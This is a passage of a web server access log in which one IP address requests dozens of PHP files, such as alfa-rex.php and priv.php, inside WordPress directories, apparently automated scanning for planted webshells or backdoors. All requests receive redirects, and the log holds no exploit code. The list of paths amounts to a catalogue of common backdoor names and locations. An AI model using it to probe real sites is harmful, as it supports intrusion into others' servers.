"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:10 -0400] "GET /wp-includes/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.89 - - [27/Apr/2025:19:23:10 -0400] "GET /wp-includes/ID3/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:10 -0400] "GET /wp-includes/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:10 -0400] "GET /wp-includes/Text/Diff/Engine/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:10 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.89 - - [27/Apr/2025:19:23:11 -0400] "GET /wp-includes/sitemaps/providers/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:11 -0400] "GET /wp-includes/widgets/class-wp-widget-block.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.89 - - [27/Apr/2025:19:23:11 -0400] "GET /wp-includes/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:11 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:11 -0400] "GET /.well-known/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:11 -0400] "GET /.well-known/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:11 -0400] "GET /.well-known/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:11 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:11 -0400] "GET /wp-admin/js/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.89 - - [27/Apr/2025:19:23:12 -0400] "GET /wp-admin/maint/Ysuyo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.89 - - [27/Apr/2025:19:23:12 -0400] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:12 -0400] "GET /wp-includes/css/dist/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:12 -0400] "GET /wp-includes/css/dist/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:12 -0400] "GET /wp-content/uploads/2024/11/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:12 -0400] "GET /wp-content/uploads/2024/10/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:12 -0400] "GET /wp-content/upgrade/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:12 -0400] "GET /wp-admin/includes/cicak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:23:12 -0400] "GET /wp-admin/includes/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:13 -0400] "GET /wp-admin/maint/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:13 -0400] "GET /wp-admin/css/colors/blue/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.89 - - [27/Apr/2025:19:23:13 -0400] "GET /wp-admin/css/colors/coffee/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:13 -0400] "GET /wp-admin/css/colors/ectoplasm/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:13 -0400] "GET /wp-admin/css/colors/light/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:13 -0400] "GET /wp-admin/css/colors/midnight/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:14 -0400] "GET /wp-admin/css/colors/modern/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:14 -0400] "GET /wp-admin/css/colors/ocean/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:14 -0400] "GET /wp-admin/images/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:14 -0400] "GET /wp-admin/js/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:14 -0400] "GET /wp-includes/ID3/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:14 -0400] "GET /wp-includes/IXR/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.89 - - [27/Apr/2025:19:23:14 -0400] "GET /wp-includes/PHPMailer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:23:14 -0400] "GET /wp-includes/Text/Diff/Engine/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:15 -0400] "GET /wp-includes/pomo/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:15 -0400] "GET /wp-includes/sitemaps/providers/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:15 -0400] "GET /wp-includes/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.89 - - [27/Apr/2025:19:23:15 -0400] "GET /wp-includes/fonts/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:15 -0400] "GET /wp-includes/images/crystal/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:15 -0400] "GET /wp-includes/images/media/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:15 -0400] "GET /wp-includes/images/smilies/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:15 -0400] "GET /wp-includes/js/codemirror/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:15 -0400] "GET /wp-includes/js/plupload/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:15 -0400] "GET /files/editprofile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:16 -0400] "GET /images/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.89 - - [27/Apr/2025:19:23:16 -0400] "GET /wp-admin/maint/lol.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:16 -0400] "GET /uploads/abstract_login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:16 -0400] "GET /wp-content/uploads/etipat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:16 -0400] "GET /wp-includes/widgets/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:16 -0400] "GET /wp-admin/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:16 -0400] "GET /wp-admin/css/colors/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:16 -0400] "GET /wp-admin/css/colors/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:16 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:17 -0400] "GET /wp-admin/includes/archiveo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:17 -0400] "GET /wp-admin/includes/functionsf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:17 -0400] "GET /wp-admin/includes/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:17 -0400] "GET /wp-admin/maint/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.89 - - [27/Apr/2025:19:23:17 -0400] "GET /wp-admin/maint/singlee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:17 -0400] "GET /wp-admin/css/pageb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:17 -0400] "GET /wp-admin/css/colors/blue/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.89 - - [27/Apr/2025:19:23:17 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:18 -0400] "GET /wp-admin/css/colors/ectoplasm/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:18 -0400] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:18 -0400] "GET /wp-admin/css/colors/midnight/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:18 -0400] "GET /wp-admin/css/colors/modern/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 4.227.36.102 - - [27/Apr/2025:19:23:18 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 194.33.45.89 - - [27/Apr/2025:19:23:19 -0400] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:19 -0400] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.89 - - [27/Apr/2025:19:23:19 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.89 - - [27/Apr/2025:19:23:19 -0400] "GET /wp-admin/js/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:19 -0400] "GET /wp-includes/ID3/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:20 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:20 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:20 -0400] "GET /wp-includes/Text/Diff/Engine/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:20 -0400] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:20 -0400] "GET /wp-includes/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:20 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:20 -0400] "GET /wp-includes/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:20 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:21 -0400] "GET /wp-includes/images/media/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:21 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.89 - - [27/Apr/2025:19:23:21 -0400] "GET /wp-includes/js/codemirror/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:21 -0400] "GET /wp-admin/css/archivep.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:21 -0400] "GET /wp-admin/css/sidebars.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:23:21 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:21 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:22 -0400] "GET /wp-content/uploads/2024/09/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.89 - - [27/Apr/2025:19:23:22 -0400] "GET /wp-includes/Text/Diff/Renderer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:22 -0400] "GET /wp-admin/js/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.89 - - [27/Apr/2025:19:23:22 -0400] "GET /wp-includes/css/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:22 -0400] "GET /wp-includes/images/wlw/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:22 -0400] "GET /wp-includes/rest-api-stack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.89 - - [27/Apr/2025:19:23:23 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:23 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.89 - - [27/Apr/2025:19:23:23 -0400] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:23 -0400] "GET /wp-includes/PHPMailer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.89 - - [27/Apr/2025:19:23:23 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:23 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.89 - - [27/Apr/2025:19:23:23 -0400] "GET /wp-includes/sitemaps/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:24 -0400] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:24 -0400] "GET /wp-includes/images/smilies/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:24 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:24 -0400] "GET /wp-content/upgrade/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:24 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:24 -0400] "GET /wp-admin/css/colors/coffee/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:24 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 